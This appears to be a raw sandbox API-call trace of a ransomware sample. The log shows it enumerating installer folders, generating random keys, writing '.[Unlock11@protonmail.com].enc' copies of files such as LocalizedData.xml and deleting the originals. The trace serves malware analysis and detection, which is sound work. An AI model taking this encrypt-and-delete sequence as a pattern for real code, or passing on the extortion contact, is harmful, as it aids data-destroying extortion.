HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0114.673] GetLastError () returned 0x12 [0114.673] GetLastError () returned 0x12 [0114.673] GetLastError () returned 0x12 [0114.673] GetLastError () returned 0x12 [0114.674] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.674] GetCurrentThreadId () returned 0x9b0 [0114.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0114.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0114.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0114.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.674] GetLastError () returned 0x0 [0114.674] GetLastError () returned 0x0 [0114.674] GetLastError () returned 0x0 [0114.674] GetLastError () returned 0x0 [0114.674] GetCurrentThreadId () returned 0x9b0 [0114.675] GetLastError () returned 0x0 [0114.675] GetCurrentThreadId () returned 0x9b0 [0114.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.675] GetLastError () returned 0x0 [0114.675] GetLastError () returned 0x0 [0114.675] GetLastError () returned 0x0 [0114.675] GetLastError () returned 0x0 [0114.675] GetCurrentThreadId () returned 0x9b0 [0114.675] GetLastError () returned 0x0 [0114.675] GetLastError () returned 0x0 [0114.675] GetLastError () returned 0x0 [0114.675] GetLastError () returned 0x0 [0114.676] GetLastError () returned 0x0 [0114.676] GetCurrentThreadId () returned 0x9b0 [0114.676] GetLastError () returned 0x0 [0114.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.676] GetLastError () returned 0x0 [0114.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0114.676] GetLastError () returned 0x0 [0114.676] GetLastError () returned 0x0 [0114.676] GetLastError () returned 0x0 [0114.676] GetCurrentThreadId () returned 0x9b0 [0114.676] GetLastError () returned 0x0 [0114.677] GetCurrentThreadId () returned 0x9b0 [0114.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8ab68 [0114.677] GetLastError () returned 0x0 [0114.677] GetLastError () returned 0x0 [0114.677] GetLastError () returned 0x0 [0114.677] GetLastError () returned 0x0 [0114.677] GetCurrentThreadId () returned 0x9b0 [0114.677] GetLastError () returned 0x0 [0114.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0114.677] GetLastError () returned 0x0 [0114.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0114.678] GetLastError () returned 0x0 [0114.678] GetLastError () returned 0x0 [0114.678] GetLastError () returned 0x0 [0114.678] GetCurrentThreadId () returned 0x9b0 [0114.678] GetLastError () returned 0x0 [0114.678] GetLastError () returned 0x0 [0114.678] GetLastError () returned 0x0 [0114.678] GetLastError () returned 0x0 [0114.678] GetLastError () returned 0x0 [0114.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0114.678] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70)) returned 1 [0114.679] GetLastError () returned 0x0 [0114.679] GetCurrentThreadId () returned 0x9b0 [0114.679] GetLastError () returned 0x0 [0114.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0114.679] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664714 | out: pbBuffer=0x3664714) returned 1 [0114.679] GetCurrentThreadId () returned 0x9b0 [0114.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0114.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0114.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0114.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.679] GetLastError () returned 0x0 [0114.679] GetLastError () returned 0x0 [0114.680] GetLastError () returned 0x0 [0114.680] GetLastError () returned 0x0 [0114.680] GetCurrentThreadId () returned 0x9b0 [0114.680] GetLastError () returned 0x0 [0114.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.680] GetCurrentThreadId () returned 0x9b0 [0114.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.680] GetLastError () returned 0x0 [0114.680] GetLastError () returned 0x0 [0114.680] GetLastError () returned 0x0 [0114.680] GetLastError () returned 0x0 [0114.681] GetCurrentThreadId () returned 0x9b0 [0114.681] GetLastError () returned 0x0 [0114.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6d18 [0114.681] GetCurrentThreadId () returned 0x9b0 [0114.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0114.681] GetLastError () returned 0x0 [0114.681] GetLastError () returned 0x0 [0114.681] GetLastError () returned 0x0 [0114.681] GetLastError () returned 0x0 [0114.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0114.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6be8 [0114.682] GetLastError () returned 0x0 [0114.682] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.682] GetFileType (hFile=0x39c) returned 0x1 [0114.682] GetLastError () returned 0x0 [0114.682] GetCurrentThreadId () returned 0x9b0 [0114.682] GetLastError () returned 0x0 [0114.682] GetFileType (hFile=0x39c) returned 0x1 [0114.682] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.683] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.683] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.683] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.683] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.683] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.683] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.683] GetLastError () returned 0x0 [0114.683] GetCurrentThreadId () returned 0x9b0 [0114.683] GetLastError () returned 0x0 [0114.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6be8 | out: hHeap=0x2ad0000) returned 1 [0114.684] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0114.684] GetLastError () returned 0x0 [0114.684] GetLastError () returned 0x0 [0114.684] GetLastError () returned 0x0 [0114.684] GetLastError () returned 0x0 [0114.684] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6be8 [0114.684] GetLastError () returned 0x0 [0114.684] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.686] GetFileType (hFile=0x3ac) returned 0x1 [0114.686] GetLastError () returned 0x0 [0114.686] GetCurrentThreadId () returned 0x9b0 [0114.686] GetLastError () returned 0x0 [0114.686] GetFileType (hFile=0x3ac) returned 0x1 [0114.686] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.686] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.686] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.686] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.687] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.687] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.687] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.687] GetLastError () returned 0x0 [0114.687] GetCurrentThreadId () returned 0x9b0 [0114.687] GetLastError () returned 0x0 [0114.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6be8 | out: hHeap=0x2ad0000) returned 1 [0114.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a22a8 | out: hHeap=0x2ad0000) returned 1 [0114.687] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0114.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0114.687] GetLastError () returned 0x0 [0114.687] GetLastError () returned 0x0 [0114.687] GetCurrentThreadId () returned 0x9b0 [0114.687] GetLastError () returned 0x0 [0114.688] GetCurrentThreadId () returned 0x9b0 [0114.688] GetLastError () returned 0x0 [0114.690] GetCurrentThreadId () returned 0x9b0 [0114.690] GetLastError () returned 0x0 [0114.690] GetCurrentThreadId () returned 0x9b0 [0114.691] GetCurrentThreadId () returned 0x9b0 [0114.691] GetLastError () returned 0x0 [0114.693] GetCurrentThreadId () returned 0x9b0 [0114.693] GetLastError () returned 0x0 [0114.693] GetCurrentThreadId () returned 0x9b0 [0114.693] GetLastError () returned 0x0 [0114.693] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x2f85) returned 0x36f8548 [0114.693] GetCurrentThreadId () returned 0x9b0 [0114.693] GetLastError () returned 0x0 [0114.693] GetCurrentThreadId () returned 0x9b0 [0114.693] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2f85) returned 0x388a9a0 [0114.694] GetCurrentThreadId () returned 0x9b0 [0114.694] GetLastError () returned 0x0 [0114.694] GetCurrentThreadId () returned 0x9b0 [0114.694] GetLastError () returned 0x0 [0114.694] CloseHandle (hObject=0x3ac) returned 1 [0114.694] GetCurrentThreadId () returned 0x9b0 [0114.694] GetLastError () returned 0x0 [0114.694] CloseHandle (hObject=0x39c) returned 1 [0114.695] GetCurrentThreadId () returned 0x9b0 [0114.695] GetLastError () returned 0x0 [0114.695] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1 [0114.696] GetLastError () returned 0x0 [0114.696] GetCurrentThreadId () returned 0x9b0 [0114.696] GetLastError () returned 0x0 [0114.696] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1053\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.696] GetCurrentThreadId () returned 0x9b0 [0114.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0114.697] GetCurrentThreadId () returned 0x9b0 [0114.697] GetLastError () returned 0x0 [0114.697] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7350 [0114.697] GetLastError () returned 0x0 [0114.697] GetCurrentThreadId () returned 0x9b0 [0114.697] GetLastError () returned 0x0 [0114.697] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.697] GetLastError () returned 0x0 [0114.698] GetCurrentThreadId () returned 0x9b0 [0114.698] GetLastError () returned 0x0 [0114.698] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.698] GetLastError () returned 0x0 [0114.698] GetCurrentThreadId () returned 0x9b0 [0114.698] GetLastError () returned 0x0 [0114.698] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.698] GetLastError () returned 0x0 [0114.698] GetCurrentThreadId () returned 0x9b0 [0114.698] GetLastError () returned 0x0 [0114.698] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.698] GetLastError () returned 0x0 [0114.698] GetCurrentThreadId () returned 0x9b0 [0114.698] GetLastError () returned 0x0 [0114.698] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.699] GetLastError () returned 0x12 [0114.699] GetCurrentThreadId () returned 0x9b0 [0114.699] GetLastError () returned 0x12 [0114.699] FindClose (in: hFindFile=0x10f7350 | out: hFindFile=0x10f7350) returned 1 [0114.699] GetLastError () returned 0x12 [0114.699] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0114.699] GetCurrentThreadId () returned 0x9b0 [0114.699] GetLastError () returned 0x12 [0114.699] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0114.700] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0114.700] GetCurrentThreadId () returned 0x9b0 [0114.700] GetLastError () returned 0x12 [0114.700] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1055\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0114.700] GetCurrentThreadId () returned 0x9b0 [0114.700] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.701] GetCurrentThreadId () returned 0x9b0 [0114.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0114.701] GetCurrentThreadId () returned 0x9b0 [0114.701] GetLastError () returned 0x0 [0114.701] GetCurrentThreadId () returned 0x9b0 [0114.701] GetCurrentThreadId () returned 0x9b0 [0114.701] GetLastError () returned 0x0 [0114.701] GetCurrentThreadId () returned 0x9b0 [0114.701] GetLastError () returned 0x0 [0114.701] GetCurrentThreadId () returned 0x9b0 [0114.701] GetLastError () returned 0x0 [0114.701] GetCurrentThreadId () returned 0x9b0 [0114.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a6e8 [0114.702] GetCurrentThreadId () returned 0x9b0 [0114.702] GetLastError () returned 0x0 [0114.702] GetCurrentThreadId () returned 0x9b0 [0114.702] GetLastError () returned 0x0 [0114.702] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12)) returned 1 [0114.702] GetLastError () returned 0x0 [0114.702] GetCurrentThreadId () returned 0x9b0 [0114.702] GetLastError () returned 0x0 [0114.702] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36646c4 | out: pbBuffer=0x36646c4) returned 1 [0114.702] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0114.703] GetCurrentThreadId () returned 0x9b0 [0114.703] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0114.703] GetCurrentThreadId () returned 0x9b0 [0114.703] GetLastError () returned 0x0 [0114.703] GetCurrentThreadId () returned 0x9b0 [0114.703] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.703] GetCurrentThreadId () returned 0x9b0 [0114.703] GetLastError () returned 0x0 [0114.704] GetCurrentThreadId () returned 0x9b0 [0114.704] GetLastError () returned 0x0 [0114.704] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.704] GetFileType (hFile=0x39c) returned 0x1 [0114.704] GetLastError () returned 0x0 [0114.704] GetCurrentThreadId () returned 0x9b0 [0114.704] GetLastError () returned 0x0 [0114.704] GetFileType (hFile=0x39c) returned 0x1 [0114.704] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.705] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.705] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.705] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.705] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.705] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.705] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.705] GetLastError () returned 0x0 [0114.705] GetCurrentThreadId () returned 0x9b0 [0114.705] GetLastError () returned 0x0 [0114.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c88 | out: hHeap=0x2ad0000) returned 1 [0114.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0114.705] GetLastError () returned 0x0 [0114.705] GetLastError () returned 0x0 [0114.705] GetLastError () returned 0x0 [0114.706] GetLastError () returned 0x0 [0114.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6cd8 [0114.706] GetLastError () returned 0x0 [0114.706] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.707] GetFileType (hFile=0x3ac) returned 0x1 [0114.707] GetLastError () returned 0x0 [0114.708] GetCurrentThreadId () returned 0x9b0 [0114.708] GetLastError () returned 0x0 [0114.708] GetFileType (hFile=0x3ac) returned 0x1 [0114.708] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.708] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.708] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.708] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.708] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.708] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.708] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.708] GetLastError () returned 0x0 [0114.708] GetCurrentThreadId () returned 0x9b0 [0114.708] GetLastError () returned 0x0 [0114.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cd8 | out: hHeap=0x2ad0000) returned 1 [0114.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a28d8 | out: hHeap=0x2ad0000) returned 1 [0114.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0114.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.709] GetLastError () returned 0x0 [0114.709] GetLastError () returned 0x0 [0114.709] GetCurrentThreadId () returned 0x9b0 [0114.709] GetLastError () returned 0x0 [0114.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.709] GetLastError () returned 0x0 [0114.709] GetLastError () returned 0x0 [0114.710] GetCurrentThreadId () returned 0x9b0 [0114.710] GetLastError () returned 0x0 [0114.710] GetLastError () returned 0x0 [0114.711] GetLastError () returned 0x0 [0114.712] GetCurrentThreadId () returned 0x9b0 [0114.712] GetLastError () returned 0x0 [0114.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d18 | out: hHeap=0x2ad0000) returned 1 [0114.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.712] GetLastError () returned 0x0 [0114.712] GetLastError () returned 0x0 [0114.712] GetLastError () returned 0x0 [0114.713] GetLastError () returned 0x0 [0114.713] GetCurrentThreadId () returned 0x9b0 